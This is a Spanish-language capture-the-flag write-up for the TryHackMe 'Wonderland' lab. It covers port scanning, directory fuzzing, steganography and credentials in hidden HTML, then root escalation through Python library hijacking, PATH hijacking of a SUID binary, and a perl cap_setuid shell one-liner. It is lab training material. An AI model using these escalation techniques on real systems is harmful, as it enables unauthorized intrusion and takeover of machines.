Wonderland
January 11, 20235 minutes
https://tryhackme.com/room/wonderland
IP Atacante = 10.10.10.10
IP Víctima = 10.10.3.160
Reconocimiento
Para empezar lo primero es comprobar si la máquina está activa y que OS tiene
❯ ping -c 1 10.10.186.98
PING 10.10.186.98 (10.10.186.98) 56(84) bytes of data.
64 bytes from 10.10.186.98: icmp_seq=1 ttl=63 time=45.4 ms
--- 10.10.186.98 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 45.355/45.355/45.355/0.000 ms
En este caso da un ttl (time to live) de 63, entendiendo que ttl=64: Linux / ttl=128: Windows. Esta máquina es Linux por aproximación
Escaneo de puertos (nmap)
Ahora empezamos con un escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -n -vvv -Pn 10.10.126.65 -oG allPorts
Parámetro | Función |
---|---|
-p- | Para que el escaneo sea a todos los puertos (65536) |
–open | Para que solo reporte los puertos abiertos |
-sS –min-rate 5000 | Definir el tiempo del escaneo |
-n | Omitir resolución DNS |
-vvv | Para que vaya reportando lo que encuentre por consola |
-Pn | Skip host discovery |
-oG allPorts | Para que guarde el escaneo en format grepeable en un archivo llamado allPort |
Con una función definida en la zshrc llamada extractPorts, nos reporta los puertos abiertos de una forma más visual
Función extractPorts de @s4vitar
❯ extractPorts allPorts
───────┬─────────────────────────────────────────────────────────────────────────────────────────
│ File: extractPorts.tmp
───────┼─────────────────────────────────────────────────────────────────────────────────────────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 10.10.186.98
5 │ [*] Open ports: 22,80
6 │
7 │ [*] Ports copied to clipboard
8 │
───────┴─────────────────────────────────────────────────────────────────────────────────────────
Ahora con nmap vamos a intentar buscar las versiones de los servicios de los puertos y ejecutar scripts básicos de reconocimientos
❯ nmap -p22,80 -sC -sV 10.10.186.98
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8eeefb96cead70dd05a93b0db071b863 (RSA)
| 256 7a927944164f204350a9a847e2c2be84 (ECDSA)
|_ 256 000b8044e63d4b6947922c55147e2ac9 (ED25519)
80/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Follow the white rabbit.
Web (Puerto 80)
Reconocimiento web
Al entrar a la web lo primero que vemos es lo siguiente
Con ctrl + u
podemos ver el codigo de la web.
Vemos que saca la foto de un subdirectorio llamado img
<img src="/img/white_rabbit_1.jpg" style="height: 50rem;">
Al entrar al directorio /img vemos que hay 2 fotos más
- alice_door.jpg
- alice_door.png
- white_rabbit_1.jpg
Buscando archivos ocultos en las fotos
Nos las pasamos a nuestra máquina con wget:
wget http://10.10.186.98/img/alice_door.jpg
wget http://10.10.186.98/img/alice_door.png
wget http://10.10.186.98/img/white_rabbit_1.jpg
Con la herramienta steghide
podemos comprobar si contienen archivos ocultos
steghide extract -sf white_rabbit_1.jpg
Solo la foto white_rabbit_1.jpg contiene un archivo oculto, el cual dice lo siguiente
follow the r a b b i t
Buscando subdirectorios
Con wfuzz vamos a buscar subdirectorios en la web
wfuzz -c --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.186.98/FUZZ
Encuentra los siguientes subdirectorios:
- r
- img
- poem
Al entrar en el /r vemos lo siguiente:
Vamos a volver a usar el wfuzz sobre el directorio /r
wfuzz -c --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.186.98/r/FUZZ
Nos encuentra un subdirectorio llamado a. Recordando la pista que había en la primera foto “follow the r a b b i t” podemos intuir que habrá un subdirectorio por cada letra de la palabra “rabbit”.
Dentro de http://10.10.186.98/r/a/b/b/i/t vemos lo siguiente
Pulsando ctrl + u
para ver el código de la web podemos ver una línea que dice un usuario y una contraseña
<p style="display: none;">alice:--password-censurada--</p>
ssh (puerto 22)
Ya nos podemos conectar por ssh con las credenciales anteriores…
ssh alice@10.10.186.98
Escalada de privilegios
Escalada a rabbit
Dentro de la carpeta /home/alice/
vemos tres archivos
- -rw——- root.txt
- -rw-r–r– walrus_and_the_carpenter.py
Con sudo -l
vemos que podemos ejecutar /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py
como el usuario rabbit.
Viendo el código del archivo walrus_and_the_carpenter.py
vemos que importa la librería random para después usar la función choice.
Lo que podemos hacer es, en la misma carpeta crear un archivo llamado random.py, para que sea este archivo el que importe y no el de /usr/lib/python3.6/random.py
y asi poder ejecutar código como rabbit.
Contenido del random.py:
import os
def choice(a):
os.system("whoami")
Al ejecutar el walrus_and_the_carpenter.py
sale lo siguiente:
alice@wonderland:~$ sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py
rabbit
The line was: None
Ahora si cambiamos el código del random.py
a lo siguiente y volvemos a ejecutar el walrus_and_the_carpenter.py
ya somos rabbit
import os
def choice(a):
os.system("bash")
Escalada a hatter
En /home/rabbit/
hay un archivo llamado teaParty
que es un binario con permisos suid
-rwsr-sr-x 1 root root 16816 May 25 2020 teaParty
Al ejecutarlo vemos lo siguiente:
rabbit@wonderland:/home/rabbit$ ./teaParty
Welcome to the tea party!
The Mad Hatter will be here soon.
Probably by Thu, 12 Jan 2023 15:48:13 +0000
Ask very nicely, and I will give you some tea while you wait for him
Con el comando strings podemos ver cadenas de texto legible. Podemos ver que usa el comando date se ejecuta con la ruta relativa. Ejemplo (/bin/echo: Ruta absoluta / echo: Ruta relativa).
Nos podemos aprovechar de esto ejecutando lo siguiente:
export PATH=/tmp:$PATH
La variable PATH es utilizada para especificar una lista de directorios separados por un delimitador (generalmente un dos puntos “:”) en los que el sistema operativo buscará ejecutables. En este caso, se agrega el directorio “/tmp” al inicio de la lista existente de directorios en PATH. Esto significa que el sistema operativo buscará primero en el directorio “/tmp” cuando se busque un ejecutable.
Ahora dentro de /tmp
podemos crear un archivo llamado date
con el siguiente código:
#!/bin/bash
bash
Ya podemos ejecutar el teaParty y somos hatter
Escalada a root
En /home/hatter
hay un archivo con su contraseña.
El comando “getcap” muestra los permisos de ejecución de los programas en el sistema de archivos raíz ("/")
hatter@wonderland:/home/rabbit$ getcap -r / 2>/dev/null
/usr/bin/perl5.26.1 = cap_setuid+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/perl = cap_setuid+ep
Si el binario tiene la capacidad CAP_SETUID de Linux establecida o es ejecutado por otro binario con la capacidad establecida, se puede usar como una puerta trasera para mantener el acceso privilegiado mediante la manipulación de su propio UID de proceso.
/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
Ya somos root